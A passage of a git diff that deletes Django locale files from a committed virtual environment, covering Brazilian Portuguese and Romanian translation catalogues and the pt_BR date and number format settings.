Se estiver preocupado com privacidade, use alternativas como para links de sites de terceiros." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Você está vendo esta mensagem, porque este site requer um cookie CSRF no " -"envio de formulários. Este cookie é necessário por razões de segurança, para " -"garantir que o seu browser não está sendo sequestrado por terceiros." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Se você configurou seu browser para desabilitar cookies, por favor reabilite-" -"os, ao menos para este site ou para requisições do tipo \"same-origin\"." - -msgid "More information is available with DEBUG=True." -msgstr "Mais informações estão disponíveis com DEBUG=True." - -msgid "No year specified" -msgstr "Ano não especificado" - -msgid "Date out of range" -msgstr "Data fora de alcance" - -msgid "No month specified" -msgstr "Mês não especificado" - -msgid "No day specified" -msgstr "Dia não especificado" - -msgid "No week specified" -msgstr "Semana não especificada" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nenhum(a) %(verbose_name_plural)s disponível" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s futuros não disponíveis pois %(class_name)s." -"allow_future é False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"String de data com formato inválido “%(datestr)s” dado o formato “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "%(verbose_name)s não encontrado de acordo com a consulta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Página não é “last”, e também não pode ser convertida para um int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Página inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Lista vazia e o \"%(class_name)s.allow_empty\" está como False." - -msgid "Directory indexes are not allowed here." -msgstr "Índices de diretório não são permitidos aqui." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" não existe" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índice de %(directory)s " - -msgid "The install worked successfully! Congratulations!" -msgstr "A instalação foi com sucesso! Parabéns!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Ver as notas de lançamento do Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Você está vendo esta página pois possui DEBUG=True no seu arquivo de configurações e não " -"configurou nenhuma URL." - -msgid "Django Documentation" -msgstr "Documentação do Django" - -msgid "Topics, references, & how-to’s" -msgstr "Tópicos, referências, & how-to’s" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: Um aplicativo de votação" - -msgid "Get started with Django" -msgstr "Comece a usar Django" - -msgid "Django Community" -msgstr "Comunidade Django" - -msgid "Connect, get help, or contribute" -msgstr "Conecte-se, obtenha ajuda ou contribua" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index fc9eb92a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 10d32a65..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/formats.py deleted file mode 100644 index 96a49b48..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/formats.py +++ /dev/null @@ -1,34 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y à\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - # "%d de %b de %Y", # '24 de Out de 2006' - # "%d de %b, %Y", # '25 Out, 2006' - # "%d de %B de %Y", # '25 de Outubro de 2006' - # "%d de %B, %Y", # '25 de Outubro, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ro/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ro/LC_MESSAGES/django.mo deleted file mode 100644 index 37e80b0b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ro/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ro/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ro/LC_MESSAGES/django.po deleted file mode 100644 index 3b833072..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ro/LC_MESSAGES/django.po +++ /dev/null @@ -1,1323 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abel Radac , 2017 -# Bogdan Mateescu, 2018-2019,2021 -# mihneasim , 2011 -# Daniel Ursache-Dogariu, 2011 -# Denis Darii , 2011,2014 -# Ionel Cristian Mărieș , 2012 -# Jannis Leidel , 2011 -# razvan ionescu , 2015 -# Razvan Stefanescu , 2016-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-01-17 02:13-0600\n" -"PO-Revision-Date: 2023-04-25 06:49+0000\n" -"Last-Translator: Bogdan Mateescu, 2018-2019,2021\n" -"Language-Team: Romanian (http://www.transifex.com/django/django/language/" -"ro/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ro\n" -"Plural-Forms: nplurals=3; plural=(n==1?0:(((n%100>19)||((n%100==0)&&(n!=0)))?" -"2:1));\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabă" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Asturiană" - -msgid "Azerbaijani" -msgstr "Azeră" - -msgid "Bulgarian" -msgstr "Bulgară" - -msgid "Belarusian" -msgstr "Bielorusă" - -msgid "Bengali" -msgstr "Bengaleză" - -msgid "Breton" -msgstr "Bretonă" - -msgid "Bosnian" -msgstr "Bosniacă" - -msgid "Catalan" -msgstr "Catalană" - -msgid "Central Kurdish (Sorani)" -msgstr "" - -msgid "Czech" -msgstr "Cehă" - -msgid "Welsh" -msgstr "Galeză" - -msgid "Danish" -msgstr "Daneză" - -msgid "German" -msgstr "Germană" - -msgid "Lower Sorbian" -msgstr "Soraba Inferioară" - -msgid "Greek" -msgstr "Greacă" - -msgid "English" -msgstr "Engleză" - -msgid "Australian English" -msgstr "Engleză australiană" - -msgid "British English" -msgstr "Engleză britanică" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spaniolă" - -msgid "Argentinian Spanish" -msgstr "Spaniolă Argentiniană" - -msgid "Colombian Spanish" -msgstr "Spaniolă Columbiană" - -msgid "Mexican Spanish" -msgstr "Spaniolă Mexicană" - -msgid "Nicaraguan Spanish" -msgstr "Spaniolă Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Spaniolă venezueleană" - -msgid "Estonian" -msgstr "Estonă" - -msgid "Basque" -msgstr "Bască" - -msgid "Persian" -msgstr "Persană" - -msgid "Finnish" -msgstr "Finlandeză" - -msgid "French" -msgstr "Franceză" - -msgid "Frisian" -msgstr "Frizian" - -msgid "Irish" -msgstr "Irlandeză" - -msgid "Scottish Gaelic" -msgstr "Galeză Scoțiană" - -msgid "Galician" -msgstr "Galiciană" - -msgid "Hebrew" -msgstr "Ebraică" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croată" - -msgid "Upper Sorbian" -msgstr "Soraba Superioară" - -msgid "Hungarian" -msgstr "Ungară" - -msgid "Armenian" -msgstr "Armeană" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indoneză" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandeză" - -msgid "Italian" -msgstr "Italiană" - -msgid "Japanese" -msgstr "Japoneză" - -msgid "Georgian" -msgstr "Georgiană" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Kazahă" - -msgid "Khmer" -msgstr "Khmeră" - -msgid "Kannada" -msgstr "Limba kannada" - -msgid "Korean" -msgstr "Koreană" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luxemburgheză" - -msgid "Lithuanian" -msgstr "Lituaniană" - -msgid "Latvian" -msgstr "Letonă" - -msgid "Macedonian" -msgstr "Macedoneană" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolă" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Burmeză" - -msgid "Norwegian Bokmål" -msgstr "Norvegiana modernă" - -msgid "Nepali" -msgstr "Nepaleză" - -msgid "Dutch" -msgstr "Olandeză" - -msgid "Norwegian Nynorsk" -msgstr "Norvegiană Nynorsk" - -msgid "Ossetic" -msgstr "Osețiană" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Poloneză" - -msgid "Portuguese" -msgstr "Portugheză" - -msgid "Brazilian Portuguese" -msgstr "Portugheză braziliană" - -msgid "Romanian" -msgstr "Română" - -msgid "Russian" -msgstr "Rusă" - -msgid "Slovak" -msgstr "Slovacă" - -msgid "Slovenian" -msgstr "Slovenă" - -msgid "Albanian" -msgstr "Albaneză" - -msgid "Serbian" -msgstr "Sârbă" - -msgid "Serbian Latin" -msgstr "Sârbă latină" - -msgid "Swedish" -msgstr "Suedeză" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Limba tamila" - -msgid "Telugu" -msgstr "Limba telugu" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tailandeză" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turcă" - -msgid "Tatar" -msgstr "Tătară" - -msgid "Udmurt" -msgstr "Udmurtă" - -msgid "Ukrainian" -msgstr "Ucraineană" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbecă" - -msgid "Vietnamese" -msgstr "Vietnameză" - -msgid "Simplified Chinese" -msgstr "Chineză simplificată" - -msgid "Traditional Chinese" -msgstr "Chineză tradițională" - -msgid "Messages" -msgstr "Mesaje" - -msgid "Site Maps" -msgstr "Harta sit-ului" - -msgid "Static Files" -msgstr "Fișiere statice" - -msgid "Syndication" -msgstr "Sindicalizare" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "Numărul de pagină nu este întreg" - -msgid "That page number is less than 1" -msgstr "Numărul de pagină este mai mic decât 1" - -msgid "That page contains no results" -msgstr "Această pagină nu conține nici un rezultat" - -msgid "Enter a valid value." -msgstr "Introduceți o valoare validă." - -msgid "Enter a valid URL." -msgstr "Introduceți un URL valid." - -msgid "Enter a valid integer." -msgstr "Introduceți un întreg valid." - -msgid "Enter a valid email address." -msgstr "Introduceți o adresă de email validă." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Introduceți un “slug” valid care constă în litere, numere, underscore sau " -"cratime." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Introduceţi o adresă IPv4 validă." - -msgid "Enter a valid IPv6 address." -msgstr "Intoduceți o adresă IPv6 validă." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Introduceți o adresă IPv4 sau IPv6 validă." - -msgid "Enter only digits separated by commas." -msgstr "Introduceţi numai numere separate de virgule." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Asiguraţi-vă că această valoare este %(limit_value)s (este %(show_value)s )." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Asiguraţi-vă că această valoare este mai mică sau egală cu %(limit_value)s ." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Asiguraţi-vă că această valoare este mai mare sau egală cu %(limit_value)s ." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asigurați-vă că această valoare are cel puțin %(limit_value)d caracter (are " -"%(show_value)d)." -msgstr[1] "" -"Asigurați-vă că această valoare are cel puțin %(limit_value)d caractere (are " -"%(show_value)d)." -msgstr[2] "" -"Asigurați-vă că această valoare are cel puțin %(limit_value)d de caractere " -"(are %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asigurați-vă că această valoare are cel mult %(limit_value)d caracter (are " -"%(show_value)d)." -msgstr[1] "" -"Asigurați-vă că această valoare are cel mult %(limit_value)d caractere (are " -"%(show_value)d)." -msgstr[2] "" -"Asigurați-vă că această valoare are cel mult %(limit_value)d de caractere " -"(are %(show_value)d)." - -msgid "Enter a number." -msgstr "Introduceţi un număr." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asigurați-vă că nu este mai mult de %(max)s cifră în total." -msgstr[1] "Asigurați-vă că nu sunt mai mult de %(max)s cifre în total." -msgstr[2] "Asigurați-vă că nu sunt mai mult de %(max)s de cifre în total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Asigurați-vă că nu este mai mult de %(max)s zecimală în total." -msgstr[1] "Asigurați-vă că nu sunt mai mult de %(max)s zecimale în total." -msgstr[2] "Asigurați-vă că nu sunt mai mult de %(max)s de zecimale în total." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Asigurați-vă că nu este mai mult de %(max)s cifră înainte de punctul zecimal." -msgstr[1] "" -"Asigurați-vă că nu sunt mai mult de %(max)s cifre înainte de punctul zecimal." -msgstr[2] "" -"Asigurați-vă că nu sunt mai mult de %(max)s de cifre înainte de punctul " -"zecimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Caracterele Null nu sunt permise." - -msgid "and" -msgstr "și" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s cu acest %(field_labels)s există deja." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Valoarea %(value)r nu este o opțiune validă." - -msgid "This field cannot be null." -msgstr "Acest câmp nu poate fi nul." - -msgid "This field cannot be blank." -msgstr "Acest câmp nu poate fi gol." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s cu %(field_label)s deja există." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s trebuie să fie unic(e) pentru %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Câmp de tip: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (adevărat sau fals)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Şir de caractere (cel mult %(max_length)s caractere)" - -msgid "String (unlimited)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "Numere întregi separate de virgule" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Dată (fară oră)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Dată (cu oră)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Număr zecimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Durată" - -msgid "Email address" -msgstr "Adresă e-mail" - -msgid "File path" -msgstr "Calea fisierului" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Număr cu virgulă" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Întreg" - -msgid "Big (8 byte) integer" -msgstr "Întreg mare (8 octeți)" - -msgid "Small integer" -msgstr "Întreg mic" - -msgid "IPv4 address" -msgstr "Adresă IPv4" - -msgid "IP address" -msgstr "Adresă IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (adevărat, fals sau niciuna)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Întreg pozitiv" - -msgid "Positive small integer" -msgstr "Întreg pozitiv mic" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (până la %(max_length)s)" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Timp" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Date binare brute" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "Identificator unic universal" - -msgid "File" -msgstr "Fișier" - -msgid "Image" -msgstr "Imagine" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Instanța %(model)s cu %(field)s %(value)r inexistentă." - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (tip determinat de câmpul aferent)" - -msgid "One-to-one relationship" -msgstr "Relaţie unul-la-unul" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relație %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relații %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relație multe-la-multe" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Acest câmp este obligatoriu." - -msgid "Enter a whole number." -msgstr "Introduceţi un număr întreg." - -msgid "Enter a valid date." -msgstr "Introduceți o dată validă." - -msgid "Enter a valid time." -msgstr "Introduceți o oră validă." - -msgid "Enter a valid date/time." -msgstr "Introduceți o dată/oră validă." - -msgid "Enter a valid duration." -msgstr "Introduceți o durată validă." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Numărul de zile trebuie să fie cuprins între {min_days} și {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nici un fișier nu a fost trimis. Verificați tipul fișierului." - -msgid "No file was submitted." -msgstr "Nici un fișier nu a fost trimis." - -msgid "The submitted file is empty." -msgstr "Fișierul încărcat este gol." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Asigurați-vă că numele fișierului are cel mult %(max)d caracter (are " -"%(length)d)." -msgstr[1] "" -"Asigurați-vă că numele fișierului are cel mult %(max)d caractere (are " -"%(length)d)." -msgstr[2] "" -"Asigurați-vă că numele fișierului are cel mult %(max)d de caractere (are " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Fie indicați un fişier, fie bifaţi caseta de selectare, nu ambele." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Încărcaţi o imagine validă. Fişierul încărcat nu era o imagine sau era o " -"imagine coruptă." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Selectați o opțiune validă. %(value)s nu face parte din opțiunile " -"disponibile." - -msgid "Enter a list of values." -msgstr "Introduceți o listă de valori." - -msgid "Enter a complete value." -msgstr "Introduceți o valoare completă." - -msgid "Enter a valid UUID." -msgstr "Introduceți un UUID valid." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Câmp ascuns %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "Order" -msgstr "Ordine" - -msgid "Delete" -msgstr "Șterge" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Corectaţi datele duplicate pentru %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Corectaţi datele duplicate pentru %(field)s , ce trebuie să fie unic." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Corectaţi datele duplicate pentru %(field_name)s , care trebuie să fie unice " -"pentru %(lookup)s în %(date_field)s ." - -msgid "Please correct the duplicate values below." -msgstr "Corectaţi valorile duplicate de mai jos." - -msgid "The inline value did not match the parent instance." -msgstr "Valoarea în linie nu s-a potrivit cu instanța părinte." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Selectați o opțiune validă. Această opțiune nu face parte din opțiunile " -"disponibile." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Șterge" - -msgid "Currently" -msgstr "În prezent" - -msgid "Change" -msgstr "Schimbă" - -msgid "Unknown" -msgstr "Necunoscut" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Nu" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "da,nu,poate" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d octet" -msgstr[1] "%(size)d octeţi" -msgstr[2] "%(size)d de octeţi" - -#, python-format -msgid "%s KB" -msgstr "%s KO" - -#, python-format -msgid "%s MB" -msgstr "%s MO" - -#, python-format -msgid "%s GB" -msgstr "%s GO" - -#, python-format -msgid "%s TB" -msgstr "%s TO" - -#, python-format -msgid "%s PB" -msgstr "%s PO" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "miezul nopții" - -msgid "noon" -msgstr "amiază" - -msgid "Monday" -msgstr "Luni" - -msgid "Tuesday" -msgstr "Marți" - -msgid "Wednesday" -msgstr "Miercuri" - -msgid "Thursday" -msgstr "Joi" - -msgid "Friday" -msgstr "Vineri" - -msgid "Saturday" -msgstr "Sâmbătă" - -msgid "Sunday" -msgstr "Duminică" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mie" - -msgid "Thu" -msgstr "Joi" - -msgid "Fri" -msgstr "Vin" - -msgid "Sat" -msgstr "Sâm" - -msgid "Sun" -msgstr "Dum" - -msgid "January" -msgstr "Ianuarie" - -msgid "February" -msgstr "Februarie" - -msgid "March" -msgstr "Martie" - -msgid "April" -msgstr "Aprilie" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Iunie" - -msgid "July" -msgstr "Iulie" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "Septembrie" - -msgid "October" -msgstr "Octombrie" - -msgid "November" -msgstr "Noiembrie" - -msgid "December" -msgstr "Decembrie" - -msgid "jan" -msgstr "ian" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "iun" - -msgid "jul" -msgstr "iul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "noi" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ian." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Martie" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aprilie" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Iunie" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Iulie" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Noie." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Ianuarie" - -msgctxt "alt. month" -msgid "February" -msgstr "Februarie" - -msgctxt "alt. month" -msgid "March" -msgstr "Martie" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprilie" - -msgctxt "alt. month" -msgid "May" -msgstr "Mai" - -msgctxt "alt. month" -msgid "June" -msgstr "Iunie" - -msgctxt "alt. month" -msgid "July" -msgstr "Iulie" - -msgctxt "alt. month" -msgid "August" -msgstr "August" - -msgctxt "alt. month" -msgid "September" -msgstr "Septembrie" - -msgctxt "alt. month" -msgid "October" -msgstr "Octombrie" - -msgctxt "alt. month" -msgid "November" -msgstr "Noiembrie" - -msgctxt "alt. month" -msgid "December" -msgstr "Decembrie" - -msgid "This is not a valid IPv6 address." -msgstr "Aceasta nu este o adresă IPv6 validă." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "sau" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d an" -msgstr[1] "%(num)d ani" -msgstr[2] "%(num)d de ani" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d lună" 